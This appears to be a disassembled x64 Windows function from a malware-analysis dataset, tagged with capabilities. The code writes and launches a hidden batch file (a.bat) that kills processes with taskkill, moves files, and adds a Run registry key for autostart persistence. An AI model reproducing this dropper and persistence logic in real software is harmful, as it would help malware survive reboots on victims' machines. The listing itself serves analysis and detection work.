Function at 0x140066305
Capabilities:
Execute command
Persist via run registry key
Set registry value

Disassembly:
jmp 0x140078020
push rbp
push rdi
sub rsp, 0xa18
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1ba
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14017d080]
xor rax, rbp
mov qword [rbp + 0x9d8], rax
lea rcx, [0x1401951b0]
call fcn.1400682c7
lea rdx, [0x14017e2e0]
lea rcx, [rbp + 8]
call fcn.1400648b6
nop
xor r8d, r8d
lea rdx, str._sysdisk_
lea rcx, [rbp + 8]
call fcn.14006586a
mov dword [rbp + 0x44], eax
movsxd rax, dword [rbp + 0x44]
cmp rax, 0xffffffffffffffff
je 0x1400781c0
lea rcx, [rbp + 0x68]
call fcn.140068259
nop
call fcn.14006783b
movzx edx, al
lea rcx, [rbp + 0x68]
call fcn.140067d4f
lea rcx, [rbp + 8]
call fcn.140067016
mov qword [rbp + 0x978], rax
movsxd rax, dword [rbp + 0x44]
mov qword [rbp + 0x980], rax
lea rdx, str._sysdisk_
lea rcx, [rbp + 0x5c8]
call fcn.140065e78
mov qword [rbp + 0x988], rax
mov rax, qword [rbp + 0x988]
mov qword [rbp + 0x990], rax
mov rcx, qword [rbp + 0x990]
call fcn.140067016
mov rcx, qword [rbp + 0x980]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x998], rax
mov r9, qword [rbp + 0x978]
mov r8, qword [rbp + 0x998]
lea rdx, [rbp + 0x608]
lea rcx, [rbp + 8]
call fcn.140066265
mov qword [rbp + 0x9a0], rax
mov rax, qword [rbp + 0x9a0]
mov qword [rbp + 0x9a8], rax
mov r8, qword [rbp + 0x9a8]
lea rdx, [0x14013fc64]
lea rcx, [rbp + 0x648]
call fcn.14006847a
mov qword [rbp + 0x9b0], rax
mov rax, qword [rbp + 0x9b0]
mov qword [rbp + 0x9b8], rax
mov rdx, qword [rbp + 0x9b8]
lea rcx, [rbp + 0x68]
call fcn.140064e92
nop
lea rcx, [rbp + 0x648]
call fcn.140064c3a
nop
lea rcx, [rbp + 0x608]
call fcn.140064c3a
nop
lea rcx, [rbp + 0x5c8]
call fcn.140064c3a
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 8]
call fcn.140067674
nop
lea rcx, [rbp + 0x68]
call fcn.140064c3a
xor r8d, r8d
lea rdx, str._username_
lea rcx, [rbp + 8]
call fcn.14006586a
mov dword [rbp + 0x44], eax
movsxd rax, dword [rbp + 0x44]
cmp rax, 0xffffffffffffffff
je 0x14007827d
lea rdx, str._username_
lea rcx, [rbp + 0x688]
call fcn.140065e78
mov qword [rbp + 0x978], rax
mov rax, qword [rbp + 0x978]
mov qword [rbp + 0x980], rax
mov rcx, qword [rbp + 0x980]
call fcn.140067016
movsxd rcx, dword [rbp + 0x44]
mov r8, rax
mov rdx, rcx
lea rcx, [rbp + 8]
call fcn.1400685b5
nop
lea rcx, [rbp + 0x688]
call fcn.140064c3a
lea rcx, [rbp + 0x6c8]
call fcn.1400650d1
mov qword [rbp + 0x978], rax
mov rax, qword [rbp + 0x978]
mov qword [rbp + 0x980], rax
movsxd rax, dword [rbp + 0x44]
mov r8, qword [rbp + 0x980]
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140064159
nop
lea rcx, [rbp + 0x6c8]
call fcn.140064c3a
lea rax, [rbp + 8]
mov qword [rbp + 0xa8], rax
mov rcx, qword [rbp + 0xa8]
call fcn.14006414a
mov qword [rbp + 0xc8], rax
mov rcx, qword [rbp + 0xa8]
call fcn.1400642b7
mov qword [rbp + 0xe8], rax
jmp 0x1400782c1
mov rax, qword [rbp + 0xc8]
inc rax
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xe8]
cmp qword [rbp + 0xc8], rax
je 0x1400782fa
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
movsx eax, byte [rax]
cmp eax, 0x2f
jne 0x1400782f8
mov rax, qword [rbp + 0x108]
mov byte [rax], 0x5c
jmp 0x1400782b0
lea rcx, [rbp + 0x708]
call fcn.140065ced
mov qword [rbp + 0x978], rax
mov rax, qword [rbp + 0x978]
mov qword [rbp + 0x980], rax
mov rax, qword [rbp + 0x980]
mov qword [rbp + 0x988], rax
lea r8, [0x14013fc78]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x748]
call fcn.140067444
mov qword [rbp + 0x990], rax
mov rax, qword [rbp + 0x990]
mov qword [rbp + 0x998], rax
mov rax, qword [rbp + 0x998]
mov qword [rbp + 0x9a0], rax
mov r8, qword [rbp + 0x988]
mov rdx, qword [rbp + 0x9a0]
lea rcx, [rbp + 0x128]
call fcn.1400645ff
nop
lea rcx, [rbp + 0x748]
call fcn.140064c3a
nop
lea rcx, [rbp + 0x708]
call fcn.140064c3a
lea rcx, [rbp + 0x128]
call fcn.140065577
movzx eax, al
test eax, eax
jne 0x140078706
lea rcx, [rbp + 0x788]
call fcn.140068709
mov qword [rbp + 0x978], rax
mov rax, qword [rbp + 0x978]
mov qword [rbp + 0x980], rax
mov rax, qword [rbp + 0x980]
mov qword [rbp + 0x988], rax
lea rcx, [rbp + 0x7c8]
call fcn.14006825e
mov qword [rbp + 0x990], rax
mov rax, qword [rbp + 0x990]
mov qword [rbp + 0x998], rax
mov r8, qword [rbp + 0x998]
lea rdx, [0x14013fc88]
lea rcx, [rbp + 0x808]
call fcn.14006847a
mov qword [rbp + 0x9a0], rax
mov rax, qword [rbp + 0x9a0]
mov qword [rbp + 0x9a8], rax
lea r8, str._nIP:
mov rdx, qword [rbp + 0x9a8]
lea rcx, [rbp + 0x848]
call fcn.140067cf0
mov qword [rbp + 0x9b0], rax
mov rax, qword [rbp + 0x9b0]
mov qword [rbp + 0x9b8], rax
mov rax, qword [rbp + 0x9b8]
mov qword [rbp + 0x9c0], rax
mov r8, qword [rbp + 0x988]
mov rdx, qword [rbp + 0x9c0]
lea rcx, [rbp + 0x888]
call fcn.1400645ff
mov qword [rbp + 0x9c8], rax
mov rax, qword [rbp + 0x9c8]
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
call fcn.1400684a7
nop
lea rcx, [rbp + 0x888]
call fcn.140064c3a
nop
lea rcx, [rbp + 0x848]
call fcn.140064c3a
nop
lea rcx, [rbp + 0x808]
call fcn.140064c3a
nop
lea rcx, [rbp + 0x7c8]
call fcn.140064c3a
nop
lea rcx, [rbp + 0x788]
call fcn.140064c3a
mov edx, 0x118
lea rcx, [rbp + 0x170]
call fcn.140067a16
mov edx, 1
lea rcx, [rbp + 0x170]
call fcn.140068191
nop
mov r9d, 0x40
mov r8d, 2
lea rdx, str.a.bat
lea rcx, [rbp + 0x170]
call fcn.140068876
lea rax, [rbp + 0x180]
lea rdx, str.taskkill__f__im__
mov rcx, rax
call fcn.140064735
mov qword [rbp + 0x978], rax
lea rcx, [rbp + 0x908]
call fcn.140065ced
mov qword [rbp + 0x980], rax
mov rax, qword [rbp + 0x980]
mov qword [rbp + 0x988], rax
mov rax, qword [rbp + 0x988]
mov qword [rbp + 0x990], rax
mov rdx, qword [rbp + 0x990]
mov rcx, qword [rbp + 0x978]
call fcn.140067a9d
lea rdx, [0x14013fccc]
mov rcx, rax
call fcn.140064735
lea rdx, str.move__
mov rcx, rax
call fcn.140064735
mov qword [rbp + 0x998], rax
lea rcx, [rbp + 0x8c8]
call fcn.140065ced
mov qword [rbp + 0x9a0], rax
mov rax, qword [rbp + 0x9a0]
mov qword [rbp + 0x9a8], rax
mov rax, qword [rbp + 0x9a8]
mov qword [rbp + 0x9b0], rax
mov rdx, qword [rbp + 0x9b0]
mov rcx, qword [rbp + 0x998]
call fcn.140067a9d
lea rdx, [0x14013fb7c]
mov rcx, rax
call fcn.140064735
lea rdx, [0x14013fcd0]
mov rcx, rax
call fcn.140064735
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.140067a9d
lea rdx, [0x14013fccc]
mov rcx, rax
call fcn.140064735
lea rdx, str.move__
mov rcx, rax
call fcn.140064735
lea rdx, [0x14017e280]
mov rcx, rax
call fcn.140067a9d
lea rdx, [0x14013fb7c]
mov rcx, rax
call fcn.140064735
lea rdx, [0x14013fcd0]
mov rcx, rax
call fcn.140064735
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.140067a9d
lea rdx, [0x14013fccc]
mov rcx, rax
call fcn.140064735
lea rdx, [0x14013fcc4]
mov rcx, rax
call fcn.140064735
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140067a9d
mov qword [rbp + 0x9b8], rax
lea rdx, [0x14006428f]
mov rcx, qword [rbp + 0x9b8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.exit
mov rcx, rax
call fcn.140064735
nop
lea rcx, [rbp + 0x8c8]
call fcn.140064c3a
nop
lea rcx, [rbp + 0x908]
call fcn.140064c3a
lea rcx, [rbp + 0x170]
call fcn.140064abe
lea rcx, str.start__min_a.bat
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, [rbp + 0x170]
call fcn.1400677e1
lea rax, [rbp + 0x2a8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea rcx, [rbp + 0x128]
call fcn.140067016
inc rax
mov dword [rbp + 0x974], eax
lea rcx, [rbp + 0x128]
call fcn.140064618
mov qword [rbp + 0x978], rax
lea rcx, [rbp + 0x948]
call fcn.140065ced
mov qword [rbp + 0x980], rax
mov rcx, qword [rbp + 0x980]
call fcn.140064618
mov qword [rbp + 0x988], rax
mov rax, qword [rbp + 0x2a8]
mov qword [rbp + 0x990], rax
mov eax, dword [rbp + 0x974]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x978]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0x988]
mov rcx, qword [rbp + 0x990]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rbp + 0x948]
call fcn.140064c3a
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0x128]
call fcn.140064c3a
nop
lea rcx, [rbp + 8]
call fcn.140064c3a
lea rcx, [rbp - 0x30]
lea rdx, [0x14013dff0]
call fcn.140067700
mov rcx, qword [rbp + 0x9d8]
xor rcx, rbp
call fcn.14006608a
lea rsp, [rbp + 0x9e8]
pop rdi
pop rbp
ret